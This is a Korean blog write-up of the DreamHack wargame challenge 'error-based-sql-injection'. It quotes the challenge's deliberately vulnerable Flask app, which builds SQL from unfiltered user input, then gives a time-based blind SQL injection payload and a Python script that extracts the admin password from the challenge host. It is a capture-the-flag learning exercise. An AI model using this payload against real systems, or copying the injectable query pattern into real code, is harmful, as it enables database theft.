본문 바로가기

DreamHack

[DreamHack] error-based-sql-injection

https://dreamhack.io/wargame/challenges/412

 

error based sql injection

Description Simple Error Based SQL Injection ! 문제 수정 내역 2023.07.21 Dockerfile 제공

dreamhack.io

난이도: Level 1

init.sql

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;

테이블 및 유저 생성 쿼리문을 보면, admin 계정의 패스워드가 FLAG임을 알 수 있습니다. 테이블 컬럼은 idx, uid, upw를 사용하고 있으며, idx값은 자동으로 1씩 증가하도록 테이블이 구성되어 있습니다. 

 

app.py

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

위 코드를 보면, 유저로부터 uid 값을 입력 받고 아무 필터링 없이 SELECT 쿼리를 수행하는 것을 확인할 수 있습니다. 

 

하지만, guest를 입력해도 아무 결과가 뜨지 않는 것을 확인하여 Time based SQL Injection 방식으로 시도했습니다. '||uid=reverse(\"nimda\")&&if(ascii(substr(upw,1,1))=68,sleep(3),false)# 입력 시 3초 뒤에 Response가 날아오는 것을 확인하여 이를 기반으로 Blind SQL Injection을 시도하여 플래그를 획득할 수 있었습니다.

Exploit Code

import requests
import time
flag = ""
for i in range(1,50):
    for j in range(32, 128):
        # url = "http://host3.dreamhack.games:11495/?uid='||uid=reverse(\"nimda\")&&if(ascii(substr(upw,{},1))={},sleep(3),false)#".format(i,j)
        url = "http://host3.dreamhack.games:11495/?uid='||uid%3Dreverse(\"nimda\")%26%26if(ascii(substr(upw%2C{}%2C1))%3D{}%2Csleep(3)%2Cfalse)%23".format(i,j)
        start = time.time()

        res = requests.get(url)

        end = time.time()
        if end - start >= 3:
            flag += chr(j)
            print(flag)

'DreamHack' 카테고리의 다른 글

[DreamHack] Relative Path Overwrite  (0) 2023.08.13
[DreamHack] filestorage  (0) 2023.08.10
[DreamHack] sql injection bypass WAF Advanced  (0) 2023.08.09
[DreamHack] sql injection bypass WAF  (0) 2023.08.08
[DreamHack] Apache htaccess  (0) 2023.08.08